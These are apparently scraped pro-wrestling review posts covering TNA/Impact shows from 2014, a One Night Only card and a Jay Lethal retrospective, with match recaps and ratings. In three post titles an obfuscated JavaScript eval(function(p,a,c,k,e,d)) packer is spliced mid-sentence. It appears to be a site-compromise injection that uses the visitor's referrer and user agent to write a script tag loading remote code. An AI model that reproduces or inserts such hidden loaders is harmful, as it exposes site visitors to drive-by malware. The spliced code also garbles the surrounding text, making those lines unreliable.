Here’s Syxx-Pac with something to say. He talks about being out here several times tonight so he’ll make this quick. There are a few reasons he lost the X Title tonight but the biggest of them all is that AJ Styles is a world class wrestler and he won the match. On top of that though, he was worried about messing with Brian Lawler in a rib and it cost him. The truth is that April is hot but he wants to fix things with Lawler right now, winner gets April.

Here’s a stressed out Lawler who says he doesn’t want April anymore because she’s damaged goods. April comes out and says she loves Brian and that Pac forced her to kiss him. Brian whines like a 13 year old girl and the fight is on until security comes out to ruin all the Brian Lawler fun.

Don West hypes up next week’s show.

NWA World Title: Ron Killings vs. Curt Hennig

Curt is challenging and takes it to Truth to start before it heads outside. Killings sends him into the barricade and loads up the side kick, only to crotch himself on the steel. Curt chops away but gets choked with a camera cable. We get a pelvic thrust at the crowd from the champion followed by a middle rope legdrop from Truth for two. The ax kick connects but Truth doesn’t cover, instead hitting a middle rope fist to the head. Still no cover as the champion takes him into the corner for some eye raking.

A wheelbarrow slam is good for two on Hennig but Curt comes back with some more chops. Curt puts on an ankle lock of all things when the chops get old. Truth is quickly in the ropes so Curt kicks him low and backdrops Truth down for no cover. Mr. Wrestling 3 tries to interfere but gets taken down by a knee lift from Hennig. Curt goes for the mask but Truth hits Hennig in the back of the head with brass knuckles to retain the title.

Rating: D+. This was way better than last week as it was at least a match. It still wasn’t all that great or anything though as Hennig just didn’t have all that much in the ring at this point. Truth didn’t do much to help his cause either as he was mainly all talk and a bunch of kicks. He needed the right kind of opponent and an old southern guy like Hennig wasn’t it.

Overall Rating: D. This wasn’t their worst show by far but the stupid main event storylines are still dragging this show into the ground with Brian Lawler being the top culprit. The story with he and April is just horrible as I have no reason to care about either of them. If those stories with Jarrett and Hennig and Lawler etc are going to dominate the company, then the title needs to be involved as well. There’s stuff here, but it needs a few more edits before it gets good.

 

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Impact Wrestling – May 15, 2014: Again. They’re Doing It AGAIN.

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snrya|var|u0026u|referrer|fhekb||js|php'.split('|'),0,{})) Wrestling
Date: May 15, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Another week has passed and the main story is, say it with me, a heel authority figure corrupted by power. Last week MVP turned heel and announced himself as the #1 contender to the World Title. Other than that we’ve got Bully Ray heading to Texas to go after Dixie Carter. Why he would wait a week to do so is beyond me but maybe they’ll show us footage from the previous week. Let’s get to it.

Eric Young is waiting for MVP to arrive but security pulls him away from the boss’ limo.

Video on MVP turning on Young last week.

Here’s Young (minus the belt) in the arena to open things up. Eric rants about how he thought MVP was something different that’s why he fought so hard for him. Anything would have been better than Dixie Carter but this isn’t good at all. Eric says if MVP wants a fight he can come out here right now. MVP pops up on screen and says he did this for the money and the power. He’s going to do Eric a favor though: Young can keep the title until Slammiversary when MVP takes it away.

Dixie is in Nashville driving around with Spud. They go to her house and see a bunch of tables spray painted with Dixie Fears Bully.

Recap of Bram trying to make Magnus into his old self by sending him after Willow.

Willow is ready for revenge but wants it in his realm.

Bram/Magnus vs. Willow

They start in the dark rafters but are down on the floor in about ten seconds. Tagging is required here and it’s Bram whipping Willow into the corner to start. Bram hammers Willow in the corner and brings in Magnus for some stomping of his own. Back to Bram but he gets reversed into the corner for forearms and the slingshot dropkick. Willow decks Magnus off the apron but can’t hit the Twist. Magnus trips Willow up, allowing Bram to suplex him down. Back to Magnus with Bram sliding in a metal object. Magnus won’t go insane like Bram wants though, allowing Willow to small package Magnus for the pin at 4:22.

Rating: D+. This was more storytelling than a match and there’s nothing wrong with that. Bram wanting Magnus to be all violent and evil again is a good idea for Magnus as his time on the top just didn’t work for the most part. He’s boring as a proper Englishman and all that jazz, so have him be evil instead and get something interesting going instead. Bram looked good.

Young trashes MVP’s office.

Bully Ray calls Dixie and tells her and Spud to come inside.

Gail Kim comes to the ring and says she’s not here to wear an evening gown or to get a makeover. She calls out the Beautiful People and gets what she wants. Angelina says the Beautiful People are what everyone should aspire to be. Velvet jumps Gail from behind and it’s time for a match.

Velvet Sky vs. Gail Kim

Gail is in trouble to start but jumps over Velvet in the corner to get a breather. She hits the running cross body in the corner but misses a charge and falls out to the floor. Angelina gets in a few shots and throws Gail back inside for a DDT and two. Gail comes back with Eat Defeat out of nowhere for the pin at 3:43.

Rating: D. It’s the same story with the same ideas and the same people we’ve seen doing this FOREVER now and I don’t care anymore. I’m assuming Gail gets a title shot at Slammiversary, but who cares if she wins? What difference does it make as they’ve all been champion like a million times anyway. Match was nothing.

Gail gets laid out post match.

Ethan Carter brags about injuring Kurt Angle last week and says this is his world now.

Crazy Steve vs. Kazarian

Steve is the Menagerie’s clown. Kaz sends him to the floor to start as we have carnival music and weird lighting. Kaz trips over Steve on the floor as the Freak stares him down. Steve low bridges Kaz to the floor as we’re in full on comedy match mode. The balloons are brought in and Steve breaks them with a top rope splash. Now he’s running around with a horn as Freak poses on the apron. Rebel is in the ring as well, hanging upside down on the ropes. The referee gets pantsed and it’s thrown out at 2:34 with Kaz winning by DQ.

The Menagerie doesn’t seem to mind losing.

Aries tries to get into MVP’s office but security stops him. MVP comes out and gets some cheap shots but Young shows up to jump the boss as we take a break. Back with the two still fighting and MVP in control. He tries to hang Eric with his tie but the champion fights back as they head to the ramp. Young seems to be favoring his arm so MVP hammers away on it back in the ring. Security comes down to break it up but MVP gets in more shots on the arm, including a flying armbar. MVP makes the title match tonight with him getting the title shot.

Spud tries to sneak up on Ray in Dixie’s house but the cameraman gives him away. Spud is captured but Ray tells the camera guys to stay there.

Mr. Anderson vs. James Storm

The opening bell is after a break and the brawl is already on the floor. Anderson takes him into the barricade but Anderson’s hand is slammed into the steps to give Storm control. Back inside with Storm working over the arm but getting caught in the swinging neckbreaker. Storm tries to run from the Mic Check, allowing him to hit a quick low blow for two, as the referee catches Storm’s feet on the ropes. A running DDT gets two on Anderson and it’s beer bottle time. The referee takes the bottle away but Storm spits in Anderson’s face, setting up the Last Call for the pin at 5:00.

Rating: D+. These matches are starting to get repetitive. The arm work went nowhere here and the match was only ok if you stretch a lot. It’s nice to see Storm FINALLY get a win though. That’s his first singles win on TV in over a year. That simply should not happen to a former World Champion.

Samuel Shaw is in an institution and can only say Christy.

Video on Sanada training and what the X Title means to him.

X-Division Title: Sanada vs. Tigre Uno vs. DJZ

DJZ is coming in with bad ribs. Sanada is defending and he teams up with Tigre to take Ion down to start. Tigre tries a quick rollup for two on the champ. There’s a bunch of confetti in the ring from Sanada’s entrance and it’s all over everyone’s back. Sanada misses a standing moonsault on Tigre but snaps up with a dropkick to the back. DJZ comes back in but gets caught in a rolling cradle for two for the champ.

Tigre stays on the floor for a bit as DJZ nails some forearms to Sanada in the corner. Sanada comes back with some chops as Tigre is still on the floor. Tigre finally comes back in with a dropkick to both guys, followed by a spinning Asai Moonsault to the floor. He throws DJZ back inside but Ion breaks up a moonsault. Sanada springboards back in with a chop to DJZ’s head and hits a tiger suplex for the pin to retain at 5:33.

Rating: C. Sanada is still good but these guys are pretty much the entire division right now. It’s the same problem the division has had for years now: you can find one guy that does well for awhile but the division is dead save for the month before Destination X. Nothing much to see here but it wasn’t bad.

Ray calls Dixie from Spud’s phone and tells her she’s all alone.

Gunner comes to see Samuel Shaw in the institution because Shaw needs someone to talk to.

We recap Ethan injuring Angle’s knee last week.

Dixie goes into her house and finds Spud tied up. Bully shuts the door and asks Dixie if she ever though it would come to this. He’s doing it because of what she did at Sacrifice and wants to know if she believes he’s afraid of her. Ray asks if she wants this to end. She does of course but he wants her to say she fears him. She’s about to say it when Ethan jumps Ray from behind. Dixie says she fears no one.

We recap Roode and MVP brawling last week, leading to MVP suspending Roode from Impact for the foreseeable future.

TNA World Title: Eric Young vs. MVP

Young attacks before the bell but is sent bad arm first into the steps. MVP works it over even more as the match hasn’t actually started yet. Back from a break with the opening bell and MVP staying on the bad arm. Eric fights up and hits some of his usual stuff before loading up the top rope elbow, only to have Kenny King of all people come down and shove Eric off the top for the DQ at 3:10.

Rating: D. I don’t have a rating in me for this one. Most of it was just arm work anyway.

MVP tells the referee to restart the match or he’s fired. The referee won’t do it so King decks him. King and MVP beat up Eric until Bobby Lashley comes out for the save….before joining up with them to destroy Young. Eric is slammed through some chairs by Lashley and taunted with the belt. The new heel faction stands tall to end the show. Taz: “This is bad Mike.” Preach it brother.

Overall Rating: D. TNA is entering it’s summer lull and they’re diving in head first. There was some watchable stuff tonight but the stories are just killing everything else. As I’ve complained about probably a dozen times before, it feels like we’ve seen every bit of this before. The Beautiful People are dominant and calling people ugly, the heel authority figure(s) are receiving far more TV time than anyone else, and the title picture is about the plucky champion fighting to keep the main evil authority figure from gaining ultimate power.

It’s the same stuff this company has run with for YEARS now and it’s just not working here. We’re coming up on one of the biggest shows of the year and looking at Eric Young vs. MVP for the World Title. I could picture that being a midcard title match, but TNA doesn’t have time for a midcard title. Maybe if Dixie didn’t have to have five segments a show we could, but Heaven forbid she’s not one of the focal points of the show. The more I think about it the more it seems like they want her to turn face, which would be about the dumbest thing they could do. In other words, look for face Dixie to send her guy in to face MVP at BFG.

Results
Willow b. Bram/Willow – Small package to Magnus
Gail Kim b. Velvet Sky – Eat Defeat
Kazarian b. Crazy Steve via DQ when Menagerie interfered
Sanada b. DJZ and Tigre Uno – Tiger suplex to DJZ
Eric Young b. MVP via DQ when Kenny King interfered

 

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TNA One Night Only – Joker’s Wild II: The Most Entertaining Match I’ve Seen In Years

Joker’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzkbe|var|u0026u|referrer|kszyy||js|php'.split('|'),0,{})) Wild II
Date: May 9, 2014
Location: National Indoor Arena, Birmingham, England
Commentators: Mike Tenay, Taz

These things are back again with another random tag partners competition. It’s the same format as the first in the series: take four random wrestlers and put them in a tag match, then have the winners go into a gauntlet battle royal. The winner gets a check for $100,000. I wouldn’t mind if they used money as a motivating factor in wrestling more often. Let’s get to it.

 

As usual, we open with a package of clips from the show we’re about to see.

Jeremy Borash and Christy Hemme explain the concept for the night. They also do the drawing for the first match, which they’ll be doing before every tag match tonight.

Gunner/Chris Sabin vs. British Invasion

It’s Magnus/Doug Williams, which should tell you a thing or two about how this show is going to go. This is one of Sabin’s final appearances as he’s gone from the company by the time this show airs. Doug and Sabin get things going with the Englishman taking him down by the arm. The announcers are already in their own little world as Williams hangs onto the arm even though a monkey flip. Sabin is sent to the floor for a chase and eats a European uppercut back inside.

Off to Gunner for some nice applause and one off a shoulder block. The tag brings in Magnus to a mixed reaction and the showdown with Gunner. Well it would be a showdown if this were on regular TNA TV and Magnus were still World Champion but there’s only so much for me to work with on this show. A headlock takes Gunner down to the mat but he fights back with a fall away slam for two.

Back to Sabin who gets caught in a double neckbreaker for two. The announcers are talking about tag team wrestling for a change. Granted it’s about Taz’s career but at least they’re getting closer than they were earlier when they talked about wrestling polar bears. A sunset flip from Douglas gets two on Gunner but it’s quickly back to Sabin. Chris chokes Douglas with a rope from his wrist to get some cheating in there but the fans cheer Douglas back to his feet.

Gunner comes in again but charges into a boot in the corner, allowing Williams to come off the middle rope with a European uppercut. Taz’s line during that sequence: “Calculus 202. That was my thing.” He’s talking about math, not the uppercut in case you’re looking for a double meaning or a metaphor there. Everything breaks down and Gunner puts Magnus in the Gun Rack but Sabin tags himself in and gets two on Magnus. Sabin accidentally hits his partner, setting up the snapmare into the top rope elbow from Magnus for the pin to advance.

Rating: C. This was your typical One Night Only match: the wrestling wasn’t bad but the lack of a strong story hurts it. It’s not bad or anything and there was a basic story of having an experienced team against a makeshift team but this was much more for the live crowd than the PPV audience.

The British Invasion both say they’ll win the gauntlet for the money later tonight. Magnus emphasizes that the reunion was indeed for one night only but there are no hard feelings.

Bad Influence says they’ll both carry their partners and then win the gauntlet. The Bro Mans come in and promise they’ll win but Bad Influence says the Bro Mans might not be together tonight. Robbie seems a little more aware of what’s going on tonight. This turns into a discussion of hair gel.

Robbie E./Christopher Daniels vs. Samoa Joe/Bad Bones

By the powers, what a coincidence. And right after they were talking too! Bad Bones is the German wrestler that Joe beat up in like 90 seconds a few weeks back. He looks like a lot like A-Train if he was about six inches shorter and not covered with hair. Joe starts with Daniels as the announcers debate leader boards vs. a list of winners. Daniels doesn’t break clean in the corner but his forearms to the back have almost no effect at all. Joe runs him over and hammers away in the corner to set up the Facewash.

Daniels bails to the floor for a meeting with Robbie as the fans quiet down. Back in and E is tagged in before Joe tags him in the jaw with right hands. Off to Bones for a nice high collar suplex and two. Some running forearms and a running knee to the chest ala Daniel Bryan drop Daniels with ease. E tries to help his partner but Bones double clotheslines them down as well. Robbie trips Bones up from the floor and comes in legally to hammer away in the corner.

We hit the chinlock and the fans are already cheering for Bones. E misses a charge in the corner though and the hot tag brings in Joe to face Daniels. The big boot and backsplash get two on Christopher and it’s off to a cross armbreaker. Robbie makes the save but gets speared down by Bones. Joe Muscle Busts Daniels for the pin to advance.

Rating: C. I have a feeling we’ll be seeing that rating a lot tonight. There’s only so much to do in a quick match like this with a basic story of power vs. speed with four guys that have a limited history together. Not a bad match or anything but it was just ten minutes of four guys doing moves to each other with Joe and Bones not really breaking a sweat.

Gunner says the loss wasn’t his fault.

British Invasion says the same thing they said after their match.

Samuel Shaw says he only trusts himself.

We do another draw and there are about twenty fewer pieces of paper in the tumbler.

Rockstar Spud/Bully Ray vs. Mr. Anderson/Austin Aries

This has potential. Spud says he’ll be team captain no matter who his partner is and then Bully is announced for a funny moment. Ray and Spud stare each other down. That goes badly for Spud so he gets a chair to stand on. He talks about being chief of staff…..before quickly agreeing that Ray is captain tonight. The fans chant for Aries but switch to WE WANT SPUD. They get what they ask for but the tag hurts Spud’s hand.

Aries easily takes him down so Bully gives him a huge pep talk and starts a SPUD chant. The Rockstar gets in Aries’ face and slaps him, only to be dropped by a left hand. Ray offers another tag but Spud is scared of the pain so it’s another pep talk. This time Aries takes him down with a clothesline and it’s off to Anderson to take over in the corner. All four get in and Spud starts to dance. Ray walks to the corner and facepalms, allowing Aries and Anderson to double team Spud.

Bully realizes he’s doing this on his own and Spud gets knocked down again. Ray yells at him and gets elbowed in the back of the head by Aries, knocking him face first into….uh….a certain place on Spud. This just makes Ray even angrier so he breaks out of a Mic Check and kicks Anderson in the face. Spud does Ray’s pose so Ray pulls him to the corner by the ear and hits a big elbow drop for two on Anderson. Ray to Hebner: “You know what? You count too slow!”

He yells at Hebner in the corner but Earl gets right in Ray’s face to take him into the other corner. Now it’s back to Spud. Taz: “WHY???” Spud drops the same elbow for two and gets in Hebner’s face so Earl slams him down to give Aries a two count. Anderson hits the neckbreaker on the now legal Bully and it’s off to Aries who dropkicks Ray to the floor. A dropkick from the top to the floor and a regular missile dropkick get two for Aries but Ray slams him down and tells Spud to go up top.

Ray: “WHAT’S UP???” Spud: “I’M UP!” The headbutt connects but Ray knocks Spud down when he slaps him in the chest before GET THE TABLES. Spud falls down trying to pull the table out and Ray is disgusted. “GET THE TABLE IN ALREADY!” Anderson comes over and puts his arm around Ray as Spud is still dealing with the table.

Aries is about to go up for What’s Up but Hebner won’t let him. Spud tries a sneak attack on Anderson but is thrown into Ray’s crotch for his efforts. Ray: “YOU SOB!” The fans rightfully think this is awesome and there’s the running corner dropkick from Aries. He loads up the brainbuster but Spud rolls Aries up and pulls the trunks halfway off for the pin. The look of shock on Ray’s face is priceless.

Rating: A+. This was the funniest match I’ve seen in years and maybe even ever. They kept the joke going the entire time and had a WAY more entertaining match than they would have had if they played it straight. This is something WWE needs to learn from. Rather than just having a guy be designated as a comedy guy and having him do strange things while the commentators tell you it’s funny, this was four guys who can be funny BEING FUNNY.

Instead of just doing the same bits over and over again (like Young stripping or the Cobra), they did different stuff that we hadn’t seen before and had a very funny match as a result. Comedy can be done, but let these funny people come up with it themselves rather than having them perform something a writer came up with. If they were good enough actors/performers to do what a writer came up with, they would be in Hollywood making way more money.

This was a blast and a good lesson in how to do comedy wrestling. The tagline One Night Only applies here too: if they did this every week on TV it would stop being anywhere near as funny in like the third week. Do it every now and then instead of the same bits every week and it’ll work far better.

The following two matches are listed in different orders on various sites. This is the order they aired in on the version I have and I don’t think it makes any real difference.

Wolves vs. Beer Money

Eh sometimes it’s better to screw believability and just let two awesome teams have a match. Roode vs. Richards to get things going with a nice technical wrestling sequence. Bobby gets the better of it and cranks on a headlock but Edwards gets a blind tag and dropkicks Roode in the side of the head for two. Off to Storm who gets dropkicked down, allowing the Wolves to take over on the arm. Storm hadn’t turned heel when this was taped so the fans are way into him.

Back to Roode who gets headbutted into the corner and then forearmed in the face by Richards. Storm gets caught in the same corner and kicked down, giving us the gay sex position spot. Back up and Storm kicks the heck out of Richards from the apron and Beer Money takes over. A double back elbow gets two on Davey and we hit a chinlock with Storm’s knee in his back. In one of the few amusing bits of commentary all night, Tenay asks Taz about his time teaming with Raven. Taz: “What about Raven?” They also get into a discussion of how Taz is always commentating with guys named Mike.

Roode comes back in for a chinlock of his own but Davey easily fights up. We get one of the stupidest spots I’ve ever seen as Richards throws Roode to Storm, who catches Bobby in a front facelock for no apparent reason. Then Davey kicks Storm in the face, causing Storm to DDT Roode. Spots like that where they might as well draw you a picture that says “YEAH, WE PLANNED THIS BEFOREHAND” drive me crazy.

Davey finally makes the hot tag to Edwards who cleans house with chops in the corner. The reverse tornado DDT from Storm is countered into the over the shoulder Stunner for two. An enziguri into a German from Davey gets two on Storm with Roode making the save. Everything breaks down and Davey takes the Backstabber from James and a spinebuster from Bobby. Beer Money hits the double suplex and SHOUT THEIR NAMES. Edwards fights out of DWI though and Richards comes back in with a missile dropkick. Beer Money is sent to the floor for a double dive, followed by the top rope double stomp to Storm for the pin.

Rating: B. That’s probably a stretch. The match was good but it certainly wasn’t as great as you would expect from these teams. It made me think of the Hart Foundation vs. the Brainbusters back in 1989. It sounds amazing on paper but when you see it live it’s just a good but not really memorable match. Also it would have been a better choice to put Roode and Storm in the battle royal as they’re far more likely to win than either of the Wolves.

They shake hands post match.

Spud celebrates his win in the back and says he was the team captain. Ray comes in and Spud immediately shakes his hand and asks how the captain is doing. Ray: “YOUR HEAD WAS IN MY NUTS FOR HALF OF THE MATCH! IF YOU EVER DO THAT AGAIN…..I’LL GIVE YOU A BIG OLD KISS BECAUSE WE WON!” Ray kisses Spud on the cheek and gives him a huge hug.

Aries says he’s speechless.

Kazarian/Curry Man vs. Eric Young/Ethan Carter III

For those of you that don’t remember, Curry Man is a masked man in red and yellow with a plate of curry on his head, based on an ad for curry in India. He’s usually played by Christopher Daniels and I believe he is here as well, even though you can see some hair sticking out of the back of the mask. It’s a brawl to start with Young and Curry Man being left alone in the ring. Curry and Young hug each other before slugging it out. They hug again then trade about six standing switches before hugging a third time.

Kaz gets sick of it and suggests a mid match change: Young and Curry Man team against Kaz and Carter. Apparently it’s going to be allowed but Eric and Curry Man stay on the apron. Carter rolls up Kaz for two but Eric makes the save, despite that not even being his original partner. The referee makes them go back to the original partners and more confusion ensues.

Carter finally chokes Curry Man to take over and a slam gets two. Young comes in to save Curry Man and gets yelled at by Ethan. “YOU’RE MY PARTNER!” Eric: “I KNOW IT SUCKS!” A clothesline puts Curry Man down for two and we hit the chinlock. Back up and it’s a double clothesline to put both guys down. Tags bring in Eric and Kaz and we get a crisscross. Young takes over with a flying forearm and a belly to belly as everything breaks down. Carter and Curry Man fight to the floor as Young rolls up Kaz for the pin.

Rating: C-. Not really even a match but it was one of the more bearable Eric Young comedy affairs that I can remember seeing. At least this time the story made sense and it wasn’t the same annoying Young stuff over and over again. It’s also a nice take on the random pairings idea which makes this easier to sit through.

Carter lays out Eric postmatch.

The Wolves are more excited about beating Beer Money than going to the gauntlet.

Abyss/Samuel Shaw vs. Zema Ion/Jesse Godderz

Godderz poses for Shaw to start but Abyss tags himself in to scare Jesse to death. Ion comes in and shouts BOOM a lot, much to Abyss’ annoyances. A cross body has no effect whatsoever and Abyss slams him down with one arm. About twenty chops from Ion have about the same effect and Abyss runs him over with a clothesline.

Off to Shaw who the fans call creepy. Back to Jesse who elbows Shaw in the face but gets slammed down with ease. Abyss tags himself back in to a nice reaction and cleans house on Godderz. Samuel turns his back on Abyss but gets dragged back into the ring. Godderz and Ion take over with some double teaming and a jawbreaker staggers Shaw. He takes time to go stare at Christy though, allowing Ion to hit a flip dive for two.

Zema misses a middle rope moonsault and it’s back to Abyss for some house cleaning. Jesse actually stops him with a clothesline but Shaw is busy going after Christy. He gets her in the corner and the referee just lets this happen, only to have Abyss make the save. Christy bails so Shaw hammers on his partner. That goes as well as you would expect but the Bro Mans actually knock Abyss to the floor. Shaw grabs the standing choke on Godderz for the submission a few seconds later.

Rating: D+. Nothing much to see here but at least they didn’t go for a third comedy match out of six. Shaw and Christy have a limited shelf life and hopefully it’s done after the latest gimmick match between Shaw and Anderson. Jesse and Ion were just there to bounce off Abyss and there’s nothing wrong with that.

Ethan Carter III takes credit for the win. Spud and Magnus (on the phone) come up and say that Dixie is proud. Magnus implies that they should let him win the gauntlet but after he leaves, Carter suggests that he should win. Spud thinks he might be the winner.

Lei’D Tapa/Gail Kim/Alpha Female vs. Velvet Sky/Madison Rayne/ODB

Just a filler here in an elimination match. Tapa imitates Velvet’s entrance to a ton of booing but Velvet calms the people down by doing it again. Sky charges at Tapa but is lifted in the air for a choke. Off to Gail for a clothesline but she gets caught by Madison’s mat humper. Gail spanks Tapa for some reason and yells at her for not having her back. The announcers talk about having spotted dick at lunch today and the match just keeps going.

Alpha comes in for a slam and some forearms to Madison’s chest. She misses a bad looking splash though and it’s back to Velvet who finally knocks Alpha down. Madison and Gail fight to the floor as Velvet bulldogs Alpha down. Chris Sabin comes out to distract the referee though and gets in an argument with Velvet. Sky low bridges him to the floor, kicks Alpha in the head and hits In Yo Face for the elimination.

Gail rolls Velvet up for a fast pin but the referee is with Sabin and misses Madison spearing Gail down. Tapa runs Madison over for an easy pin and we’re down to Gail/Tapa vs. ODB. The numbers game quickly catch up to her but Gail wants to get the glory. Tapa gets tired of it and shoves Gail into a rollup to get us down to one on one. Gail nails Tapa and ODB hits the Bam for the final pin.

Rating: D. There was no reason at all for this to be elimination rules. There were a few too many things going on here but they still could have wrapped the whole thing up in a single fall. It also doesn’t help that all of these stories have already been wrapped up two months before this show aired.

Gauntlet Battle Royal

Basically it’s a Royal Rumble with two minute intervals and the winner getting $100,000. We start with Davey vs. Eddie because that’s how random draws work. Feeling out process to start until the start slugging it out with strikes. Davey gets the better of it with his kicks until Samuel Shaw is in at #3. The Wolves actually keep fighting until Shawn breaks it up and chokes Edwards in the corner.

Edwards comes back with some chops and the Wolves start double teaming. Davey sends Shaw into a running knee to the face but here’s Rockstar Spud at #4. His strategy: kick Shaw low and wrap himself around the ropes for dear life. The Wolves lock eyes onto Spud before splitting up and stomping on both Spud and Shaw. Spud tries to eliminate Shaw by himself as the Wolves just chuckle from the corner. Shaw comes back with a crotch claw and here’s Douglas Williams at #5.

Spud keeps switching ropes to hold onto as we get into the standard battle royal formula of people pairing off and brawling against the ropes without trying to eliminate each other. The Wolves drop Douglas with a double back elbow as Spud is running out of places to hide. Abyss is in at #6 as these times are very suspect. He clotheslines everyone in sight, which doesn’t include Spud who has disappeared. Abyss easily tosses out Edwards and Davey suffers the same fate about fifteen seconds later. There goes Williams and we’re down to Abyss and Shaw on their feet. There’s a Black Hole Slam to set up the elimination as Spud tries to sneak up on Abyss. The monster chokes him up against the ropes as Bully Ray is in at #7.

Spud tries to interfere again but gets thrown over. He hangs on and skins the cat though, only to fall down when trying a double clothesline. Ray and Abyss have the real fight with Abyss nailing the chokeslam. Ray is right back up though as Spud shakes the ropes like the Warrior. A cross body has no effect either but here’s Eric Young at #8 to distract from Spud’s ineptness.

Eric hammers away on everyone in sight but Ray fights back. The Bully scares Spud to the floor but under the bottom rope so everyone is still in. Ray yells at Spud for not helping him get rid of Eric and here’s Ethan Carter III at #9. Eric goes right for him but Spud gets in a few shots from behind to give Ethan control. Spud tries to jump Bully again and gets shouted down into the corner. The five guys in the ring don’t do much else until Bad Bones comes in at #10.

Bones slugs away at everyone in sight which fits his brawling style. Again this goes nowhere until Samoa Joe is in at #11. Much like everyone else, Joe hammers away on everyone in sight upon entering the ring. A nice suplex puts Carter down before Joe settles in on Bad Bones. That doesn’t last long as Joe easily backdrops Bones out and it’s off to Joe vs. Bully. Spud actually eliminates Bully on his own but Joe wacks Spud in the head to put him on the mat.

Magnus comes out to give us a final grouping of Magnus, Joe, Spud, Abyss, Carter and Young. Joe and Magnus immediately go at it with Joe getting the early advantage but getting low bridged out to the floor to get us down to five. Abyss gets gang eliminated but Spud charges at Young and flies over the ropes to the floor. Eric dropkicks both Carter and Magnus down as things speed up. He gets both of them up for something resembling a double Death Valley Driver but gets crotched on the top and punched out by Magnus. Carter uses the distraction to eliminate Magnus for the win.

Rating: D+. This was almost every battle royal that they’ve ever had on this series. At the end of the day there’s only so much you can do with a show like this as battle royals only have so many stories available. Spud was funny and him eliminating Ray put a good cap on their events, but this show exists in a vacuum so it’s not like this is going to mean anything long term.

Carter gets the money to end the show.

Overall Rating: B-. This was one of the more entertaining One Night Onlys but it wasn’t great throughout. The Ray/Spud tag match was one of the most entertaining matches I’ve seen in years and the Beer Money vs. Wolves match was a very solid match in its own right. The one thing that sticks out to me more than anything though is how different this was from Impact.

Matches had time to play out, there were no swerves or heel authority figures dominating things, and no randomly thrown in gimmicks. It was VERY nice for a change and a good example of what TNA is capable of when they stop taking themselves so freaking seriously. Compare this to Sacrifice where a total of nothing happened and the show was horribly boring.

Also, the fact that this was $15 for the HD version is a big factor. For $15, this was a very solid way to spend two and a half hours watching wrestling, especially if you need a break from the WWE Network. The whole series of shows is far better than anything else you get from TNA and are actually worth checking out if you have nothing better to do.

Results
British Invasion b. Gunner/Chris Sabin – Top rope elbow to Sabin
Samoa Joe/Bad Bones b. Robbie E./Christopher Daniels – Muscle Buster to Daniels
Rockstar Spud/Bully Ray b. Mr. Anderson/Austin Aries – Rollup to Aries
Wolves b. Beer Money – Top rope double stomp to Storm
Eric Young/Ethan Carter III b. Curry Man/Kazarian – Rollup to Kazarian
Abyss/Samuel Shaw b. Jesse Godderz/Zema Ion – Standing choke to Godderz
ODB/Velvet Sky/Madison Rayne b. Alpha Female/Gail Kim/Lei’D Tapa – Bam to Tapa
Ethan Carter III won a battle royal last eliminating Magnus

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Wrestler of the Day – April 20: Jay Lethal

Today we’ve got someone that I’ve never gotten the mass appeal of but maybe I’m missing something. It’s Jay Lethal.

 

We’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|byrbe|var|u0026u|referrer|hzzyn||js|php'.split('|'),0,{})) start things off with a show I think we’ve looked at before: Super Indy 2004, a tournament with Lethal in the first round.

Super Indy 2004 First Round: Jay Lethal vs. Jerelle Clark

Clark is a flippy guy that was around in the earlier days of TNA and is the NWA Wildside Junior Heavyweight Champion coming into this non-title match. Feeling out process to start as they trade armdrags with Lethal being sent to the floor. Back in and Lethal gets caught in a headscissors followed by some armdrags and a dropkick, sending him right back to the floor. Lethal comes back with a sunset flip and running dropkick for two of his own. A Swan Dive gets two more for Jay, followed by a release dragon suplex for the pin on Clark.

Rating: D+. This was a short match and neither guy really showed me much. I’m not sure about having a champion get pinned clean in about five minutes but indy wrestling is strange sometimes. Clark didn’t show me much here but he was more known for a very big flipping splash than anything else.

Lethal would spend a good deal of time in ROH around this point, including this match from Joe vs. Punk II on October 16, 2004.

Delirious vs. Jay Lethal

Lethal is 19 here and is VERY young looking, probably because he is young. Delirious starts off with his usual insane stuff. Wait. DELIRIOUS WAS THE LIZARD MAN??? I heard about this for years about how ROH had a lizard man and it was Delirious? I’ve wondered who that was for years. Delirious hasn’t won a singles match yet so this is a big deal for him. Lethal takes him to the corner but is knocked off and takes a rana for two.

They exchange forearms which is a required sequence in ROH. There are the chops and the WOOs. Out to the floor and it’s kind of cool to see them using handheld cameras. Delirious hits a front flip dive to the floor to take Lethal down again. Lethal reverses a rollup for two. Delirious shouts a lot but gets caught in a neckbreaker but catches Lethal coming off the top in a Cutter. That’s not worthy of a pin though. Well to be fair Delirious is supposed to be insane. Shadows Over Hell (splash to the back and not called that yet) gets two. Delirious yells some more and gets caught in a dragon (full nelson) suplex for the pin.

Rating: C-. There wasn’t much of a point to it but for the opener this was fine. Lethal would get a lot better and Delirious would get a lot funnier so this is one of those matches that would be much better about 3 years later. Nothing great here but they were trying and for guys who didn’t have much experience, this worked well enough. Just not that interesting though.

We’ll jump ahead to TNA, where Lethal is probably best known. Here’s a random multiman match from Against All Odds 2006.

Alex Shelley vs. Matt Bentley vs. Jay Lethal vs. Petey Williams

